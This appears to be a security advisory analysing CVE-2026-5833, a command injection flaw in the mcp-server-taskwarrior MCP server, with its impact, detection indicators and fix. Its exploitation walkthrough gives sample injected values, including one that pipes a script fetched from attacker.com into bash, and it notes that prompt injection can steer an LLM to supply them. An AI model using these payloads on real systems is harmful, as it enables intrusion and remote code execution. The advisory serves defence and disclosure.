CVE-2026-5833: 
JavaScript vulnerability analysis and mitigation

CVE-2026-5833 is a command injection vulnerability in awwaiid/mcp-server-taskwarrior, a Node.js Model Context Protocol (MCP) server for TaskWarrior operations. The vulnerability affects versions up to and including 1.0.1 and resides in the server.setRequestHandler function within index.ts. Improper neutralization of user-controlled input passed to child_process.execSync allows a local attacker with low privileges to inject and execute arbitrary shell commands. It was disclosed on April 9, 2026, with a CVSS v3.1 base score of 5.3 (Medium) and a CVSS v4.0 base score of 4.8 (Medium) (GitHub Advisory, Feedly).

The root cause is classified as CWE-77 (Improper Neutralization of Special Elements used in a Command) and CWE-74 (Injection). The vulnerable code in index.ts constructs shell command strings by directly interpolating user-supplied parameters — including identifier, description, project, tags, and due — and executes them via child_process.execSync, which invokes commands through a system shell. Because shell metacharacters such as ;, &, and | are not sanitized, an attacker can supply a malicious value (e.g., in the identifier argument of mark_task_done) to break out of the intended command and execute arbitrary additional commands. The vulnerability affects three tools: mark_task_done, add_task, and get_next_tasks. In MCP environments, LLM-generated tool parameters influenced by external content could also trigger this injection without direct user interaction (GitHub Issue #8, GitHub Commit).

Successful exploitation allows a local attacker with low privileges to execute arbitrary commands on the host system with the privileges of the MCP server process. This can result in unauthorized access to sensitive data, modification of the host environment, and potential disruption of availability — all with low impact to confidentiality, integrity, and availability per the CVSS scoring. While the attack vector is local and the scope is unchanged, the risk is elevated in MCP/LLM-integrated environments where externally influenced content could indirectly supply malicious parameters (GitHub Issue #8, GitHub Advisory).

A proof-of-concept (PoC) has been publicly disclosed and is attached to the GitHub issue report as a PDF (mcp-server-taskwarrior_bug.pdf). The CVSS v4.0 exploit maturity is rated as PROOF_OF_CONCEPT. The EPSS score is approximately 0.299%, indicating a low but non-negligible probability of exploitation in the wild. There is no current evidence of active in-the-wild exploitation, no known threat actor attribution, and the vulnerability is not listed in the CISA KEV catalog (GitHub Issue #8, GitHub Advisory).

1. Identify a target: Locate a system running mcp-server-taskwarrior version 1.0.0 or 1.0.1, accessible locally or via an MCP client interface.
2. Select a vulnerable tool: Target one of the three vulnerable MCP tools — mark_task_done, add_task, or get_next_tasks — which all pass user-controlled parameters to child_process.execSync.
3. Craft a malicious payload: Construct an input value for a vulnerable parameter (e.g., identifier in mark_task_done) containing shell metacharacters. For example: 1; whoami > /tmp/pwned or 1 && curl http://attacker.com/shell.sh | bash.
4. Submit the payload: Send the crafted MCP tool call request with the malicious parameter value to the server's setRequestHandler. In an LLM-integrated environment, this could be achieved by influencing the LLM's tool parameter generation via prompt injection in external content.
5. Achieve command execution: The server constructs a shell command string such as task 1; whoami > /tmp/pwned done and passes it to execSync, which invokes a system shell that interprets the injected metacharacters and executes the attacker's commands with the privileges of the MCP server process (GitHub Issue #8, GitHub Commit).

• Process: Unexpected child processes spawned by the mcp-server-taskwarrior Node.js process (e.g., /bin/sh, bash, curl, wget, python) with unusual arguments or network connections.
• File System: Unexpected files created in world-writable directories (e.g., /tmp/) by the MCP server process; new cron jobs, scripts, or binaries created under the server's user account.
• Logs: System logs (e.g., auth.log, syslog) showing command execution by the MCP server user account that does not correspond to normal TaskWarrior operations; Node.js process logs showing errors or unexpected output from execSync calls.
• Network: Outbound connections from the host running mcp-server-taskwarrior to unknown external IP addresses or domains, particularly shortly after MCP tool invocations.

The vendor responded promptly and released a fix in commit 1ee3d282debfa0a99afeb41d22c4b2fd5a3148f2, which replaces all uses of child_process.execSync with execFileSync and passes command arguments as arrays rather than interpolated shell strings, eliminating shell interpretation of user input. Users should upgrade mcp-server-taskwarrior to any version beyond 1.0.1 immediately. As an interim measure, restrict local access to systems running the affected versions to trusted users only and monitor for suspicious command execution patterns (GitHub Commit, GitHub Advisory).

The vendor (awwaiid) was contacted early by the reporter and responded professionally, quickly releasing a patched version — a response noted positively in the vulnerability description. The issue was reported via GitHub on March 12, 2026, and the fix was merged shortly thereafter. No significant broader media coverage or notable researcher commentary beyond the GitHub issue thread has been identified.